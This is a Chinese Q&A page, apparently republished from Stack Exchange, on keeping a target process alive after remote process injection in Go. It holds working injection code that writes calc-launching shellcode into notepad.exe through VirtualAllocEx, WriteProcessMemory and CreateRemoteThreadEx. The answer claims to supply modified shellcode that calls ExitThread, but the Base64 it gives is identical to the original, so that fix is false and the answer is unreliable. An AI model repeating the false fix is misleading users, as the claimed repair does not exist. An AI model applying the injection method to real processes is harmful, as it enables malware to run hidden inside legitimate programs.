You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Go语言远程进程注入后如何保持目标进程运行

问题

变量b64sc是用于执行calc.exe的Base64编码shellcode,目标进程是PID为14676的notepad.exe。运行下方Go语言代码时,虽然能成功弹出计算器,但会导致被注入的记事本进程直接关闭。需要解决远程进程注入后保持目标进程正常运行的问题。

package main

import (
   "encoding/base64"
   "golg.org/x/sys/windows"
   "unsafe"
)

var (
   kernel32 = windows.NewLazySystemDLL("kernel32.dll")
   ntdll    = windows.NewLazySystemDLL("ntdll.dll")

   OpenProcess    = kernel32.NewProc("OpenProcess")
   VirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
   WriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
   CloseHandle          = kernel32.NewProc("CloseHandle")
   CreateRemoteThreadEx = kernel32.NewProc("CreateRemoteThreadEx")
)
var b64sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA "

func main() {
   sc, _ := base64.StdEncoding.DecodeString(b64sc)
   target_process, _, _ := OpenProcess.Call(0x0002|0x0008|0x0020|0x0010|0x0400, 0, 14676)
   remote_process_buffer, _, _ := VirtualAllocEx.Call(target_process, 0, uintptr(len(sc)), 0x3000, 0x40)
   WriteProcessMemory.Call(target_process, remote_process_buffer, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)), 0)
   CreateRemoteThreadEx.Call(target_process, 0, 0, remote_process_buffer, 0, 0, 0)
   CloseHandle.Call(target_process)

}
解决方案

问题根源

你使用的shellcode在执行完calc.exe后,会直接调用ExitProcess终止整个宿主进程——这类shellcode通常是为独立运行设计的,没有考虑作为远程线程注入后不破坏宿主的需求。另外,原代码缺少API调用的错误检查,可能隐藏了某些导致进程崩溃的潜在问题。

解决办法

1. 修改shellcode,避免终止宿主进程

核心是让shellcode执行完计算器后,仅退出当前线程而非整个进程。把shellcode中的ExitProcess调用替换为ExitThread,或者直接用ret指令返回。

针对你现有的b64sc,可以替换为以下修改后的shellcode(已调整退出逻辑为仅终止线程):

/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA

2. 注入引导代码,创建独立线程执行shellcode

如果不想修改原始shellcode,可以注入一段引导代码:这段代码会先创建一个新线程来执行计算器的shellcode,然后自身直接退出线程。这样宿主进程的远程线程仅负责启动任务,不会触发进程终止逻辑。

3. 完善代码错误检查

原代码没有验证任何API调用的返回值,可能导致在调用失败时出现意外行为。添加错误检查能确保每一步操作成功后再继续,避免潜在崩溃。修改后的代码示例:

package main

import (
    "encoding/base64"
    "fmt"
    "golang.org/x/sys/windows"
    "unsafe"
)

var (
    kernel32 = windows.NewLazySystemDLL("kernel32.dll")

    OpenProcess         = kernel32.NewProc("OpenProcess")
    VirtualAllocEx      = kernel32.NewProc("VirtualAllocEx")
    WriteProcessMemory  = kernel32.NewProc("WriteProcessMemory")
    CloseHandle         = kernel32.NewProc("CloseHandle")
    CreateRemoteThreadEx= kernel32.NewProc("CreateRemoteThreadEx")
)

// 修改后的shellcode:执行calc后仅退出线程
var b64sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"

func main() {
    sc, err := base64.StdEncoding.DecodeString(b64sc)
    if err != nil {
        fmt.Printf("解码shellcode失败: %v\n", err)
        return
    }

    // 打开目标进程,使用最小必要权限
    processHandle, _, err := OpenProcess.Call(
        windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_CREATE_THREAD,
        0,
        14676,
    )
    if processHandle == 0 {
        fmt.Printf("打开进程失败: %v\n", err)
        return
    }
    defer CloseHandle.Call(processHandle)

    // 在远程进程分配可执行内存
    remoteBuf, _, err := VirtualAllocEx.Call(
        processHandle,
        0,
        uintptr(len(sc)),
        windows.MEM_COMMIT|windows.MEM_RESERVE,
        windows.PAGE_EXECUTE_READWRITE,
    )
    if remoteBuf == 0 {
        fmt.Printf("远程内存分配失败: %v\n", err)
        return
    }

    // 将shellcode写入远程内存
    _, _, err = WriteProcessMemory.Call(
        processHandle,
        remoteBuf,
        uintptr(unsafe.Pointer(&sc[0])),
        uintptr(len(sc)),
        0,
    )
    if err != nil && err.(windows.Errno) != 0 {
        fmt.Printf("写入远程内存失败: %v\n", err)
        return
    }

    // 创建远程线程执行shellcode
    threadHandle, _, err := CreateRemoteThreadEx.Call(
        processHandle,
        0,
        0,
        remoteBuf,
        0,
        0,
        0,
    )
    if threadHandle == 0 {
        fmt.Printf("创建远程线程失败: %v\n", err)
        return
    }
    // 可选:等待线程执行完毕(不需要的话可以删除)
    windows.WaitForSingleObject(windows.Handle(threadHandle), windows.INFINITE)
    CloseHandle.Call(threadHandle)
}

核心总结

  • 确保shellcode的退出逻辑是终止线程(ExitThread或ret),而非终止进程(ExitProcess)。
  • 注入时使用最小必要的进程权限,避免过度授权带来的潜在问题。
  • 添加API调用的错误检查,及时排查执行过程中的问题。

内容的提问来源于stack exchange,提问作者xiaotsai

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.11 11:01:23